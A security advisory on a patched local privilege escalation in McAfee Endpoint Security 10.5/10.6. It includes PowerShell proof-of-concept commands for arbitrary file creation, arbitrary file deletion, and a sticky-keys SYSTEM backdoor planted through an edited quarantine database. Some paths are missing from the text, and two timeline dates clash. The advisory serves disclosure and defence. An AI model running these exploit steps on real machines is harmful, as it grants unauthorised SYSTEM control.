Published on Wed 20 March 2019 by @clavoillotte
Product: McAfee Endpoint Security 10.5 & 10.6
Type: Local Privilege Escalation
Summary: The permissive access rights on logs and quarantine (files / folders and configuration), and the privileged file manipulation performed by McAfee Endpoint Security on these files can be abused to create or delete arbitrary files, or to create arbitrary registry keys. This can be used by an unprivileged user to obtain SYSTEM privileges on the local machine.
This vulnerability is patched, users should update to the latest versions.
McAfee Endpoint Security (MES) create log files and quarantine files in
C:\ProgramData\McAfee\Endpoint Security\Logs\ and
C:\Quarantine\ by default. The files are created, accessed and manipulated by privileged (
SYSTEM) processes of MES.
There are multiple security issues with regards to these folders and files:
Quarantinefolders have permissive access rights that allow unprivileged users to add/remove files and change properties (including changing the folder into an NTFS junction)
- Logs files are created by
SYSTEMprocesses, and are made writeable to the
- Quarantine ZIP files are deleted with SYSTEM privileges
- The default install configuration is insecure: unprivileged users can change the configuration, including the location of the Logs and Quarantine folder
A general explanation on privileged file operation bugs is available here.
Arbitrary file creation can be achieved by abusing the log file creation: an unprivileged user can replace these log files by pseudo-symbolic links to arbitrary files. When a log is generated, a privileged MES process will create the log file and set its access rights, offering write access to the Everyone group.
As an example, to create an arbitrary file
C:\Windows\System32\test.dll, an unprivileged user can:
- Delete all files in
- Create a pseudo-symlink named
C:\ProgramData\McAfee\Endpoint Security\Logs\PackageManager_Activity.logthat points to
- Start an update from the McAfee Endpoint Protection GUI
C:\ProgramData\McAfee\Endpoint Security\Logs\PackageManager_Activity.log is now "reparsed" by the kernel to
C:\Windows\System32\test.dll so the latter will be created and can be written to by
The following powershell code can be used to perform the above, using tools from the symboliclink-testing-tools toolkit:
PS C:\> Remove-Item -Force "C:\ProgramData\McAfee\Endpoint Security\Logs\*" PS C:\> CreateSymlink.exe "C:\ProgramData\McAfee\Endpoint Security\Logs\PackageManager_Activity.log" C:\Windows\System32\test.dll # Now do an update from the GUI before launching the last command (cleanup) PS C:\> DeleteMountPoint.exe "C:\ProgramData\McAfee\Endpoint Security\Logs"
Similarly, arbitrary file deletion can be achieved by abusing the quarantine file removal. Indeed, an unprivileged user can replace the quarantine's ZIP files by symbolic links to arbitrary files. When a quarantine item is deleted, the associated ZIP file will be deleted by a privileged MES process.
As an example, to delete an arbitrary file
C:\Windows\System32\test.dll, an unprivileged user can:
- Delete quarantine items (if any)
- Create a temporary directory such as
- Change the
C:\Quarantine\quarantinefolder to an NTFS junction that points to
- Create the EICAR file; the file is move into quarantine by the AV, into a ZIP file in
C:\Quarantine\quarantine\<random_guid>.zipso it actually ends up in
- Remove the file
C:\Temp\Q\<random_guid>.zip(but copy the name of the file before)
- Create a pseudo-symlink
C:\Quarantine\quarantine\<random_guid>.zip(named after the ZIP file’s original path) that points to
- Delete the item from the McAfee Endpoint Security GUI
C:\Quarantine\quarantine\<random_guid>.zip now resolves to
C:\Windows\System32\test.dll so the latter will be removed by a privileged MES process.
The following powershell code can be used to perform the above:
PS C:\> New-Item -ItemType Directory C:\Temp\Q -Force PS C:\> New-Item -Type Junction -Path C:\Quarantine\quarantine -Value "C:\Temp\Q" PS C:\> 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | Out-File -encoding ascii -FilePath C:\Temp\eicar.exe -NoNewline PS C:\> Sleep -Seconds 5 PS C:\> $zipfile = $(gci C:\Temp\Q\).Name PS C:\> Remove-Item -Force C:\Temp\Q\* PS C:\> CreateSymlink.exe C:\Quarantine\quarantine\$zipfile C:\Windows\System32\sethc.exe # Now delete the EICAR quarantine item in the GUI before launching the last command (cleanup) PS C:\> DeleteMountPoint.exe C:\Quarantine\quarantine
Finally, arbitrary registry keys can be created by abusing the quarantine item restore feature. Indeed, an unprivileged user can replace the
Quarantine.db SQLite file by one that has a malicious entry in it of a registry key (as if the key has been deleted by the AV). When a quarantine item is restored, the file and registry are created by a privileged MES process. While the file creation seems performed with proper impersonation, the registry key creation is not, so the registry keys can be created as
As an example, to create an
HKLM registry key, an unprivileged user can:
- Copy the file
- Delete the file
C:\Quarantine\Quarantine.db(this file is sometimes locked because opened in another process, if it can’t be deleted we can either wait or create a Run registry entry to perform the deletion at reboot
- Edit the
C:\Temp\Quarantine.dbfile to add the desired key (e.g. with an SQLite editor)
- Change the
C:\Quarantinefolder to an NTFS junction that points to
- Restore the created item from the McAfee Endpoint Security GUI
The key is created as
SYSTEM by a privileged MES process.
The following example powershell code can be used to perform the above and create the
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe registry key (using the SQLite .Net library):
C:\> # these works better using cmd, reason not investigated C:\> cmd.exe /c COPY C:\Quarantine\Quarantine.db C:\Temp\ C:\> cmd.exe /c DEL /F /Q C:\Quarantine\Quarantine.db
PS C:\> Add-Type -Path sqlite\System.Data.SQLite.dll PS C:\> $con = New-Object -TypeName System.Data.SQLite.SQLiteConnection PS C:\> $con.ConnectionString = "Data Source=C:\Temp\Quarantine.db" PS C:\> $con.Open() PS C:\> $sql = $con.CreateCommand() PS C:\> $sql.CommandText = "INSERT INTO BackupRegistry (guid,keyRoot,keyName,valueName,valueType,keyIs64Bit,wasAdded,registryValue) VALUES ('98765432-1234-4321-9876-098765432100','HKLM','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger',1,1,0,'C:\Windows\System32\cmd.exe'); INSERT INTO BackupRegistry (guid,keyRoot,keyName,valueName,valueType,keyIs64Bit,wasAdded,registryValue) VALUES ('98765432-1234-4321-9876-098765432100','HKLM','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger',1,0,0,'C:\Windows\System32\cmd.exe'); INSERT INTO BackupItems (guid,creationTime,detectType,detectionName,reScannable,virusType,submitted,additionalInfo) VALUES ('98765432-1234-4321-9876-098765432100','2018-05-14 13:37:00',2,'Test',1,2,0,NULL); INSERT INTO BackupVersions (guid,itemid,scanner,major,minor,creationdate,additional) VALUES ('98765432-1234-4321-9876-098765432100',0,0,3340,0,1525935120,'3340.0')" PS C:\> $sql.ExecuteNonQuery() PS C:\> $sql.Dispose() PS C:\> $con.Close() PS C:\> CreateMountPoint.exe C:\Quarantine C:\Temp # Now restore the Test quarantine item in the GUI and exit the GUI before launching the last command (cleanup) PS C:\> DeleteMountPoint.exe C:\Quarantine\quarantine
Any user can now press 5 times shift on the logon screen or the secure desktop to spawn a
cmd running as
Proof of Concept
The commands above can be used on vulnerable versions.
Below is a video of the first PoC in action, creating an
EVIL_DLL_NAME_HERE.dll file in
C:\Windows\System32 and loading it in the DiagHub service (
FakeDllLoader.exe) to obtain a
The vendor has released a patch and an advisory.
Users should update to one of the following versions:
- 10.5.3 Hotfix 1240838
- 10.5.4 Hotfix 1240838
- 10.5.5 November 2018 Update
- 10.6.1 November 2018 Update
2018-07-02: Initial report sent to vendor
2018-05-15: Vendor acknowledges reception of report
2018-06-11: Follow-up email sent to vendor
2018-06-11: Vendor confirms the vulnerability, indicates they are working on a fix
2018-06-26: Follow-up email sent to vendor (no response)
2018-08-13: Follow-up email sent to vendor (no response)
2018-09-10: Follow-up email sent to vendor
2018-09-11: Vendor confirms they are still working on a fix
2018-10-24: Follow-up email sent to vendor
2018-10-25: Vendor confirms a fix has been pushed in some update channels
2018-11-13: Vendor releases updates
2019-02-28: Vendor releases new updates and publishes an advisory
2019-03-20: Publication of this advisory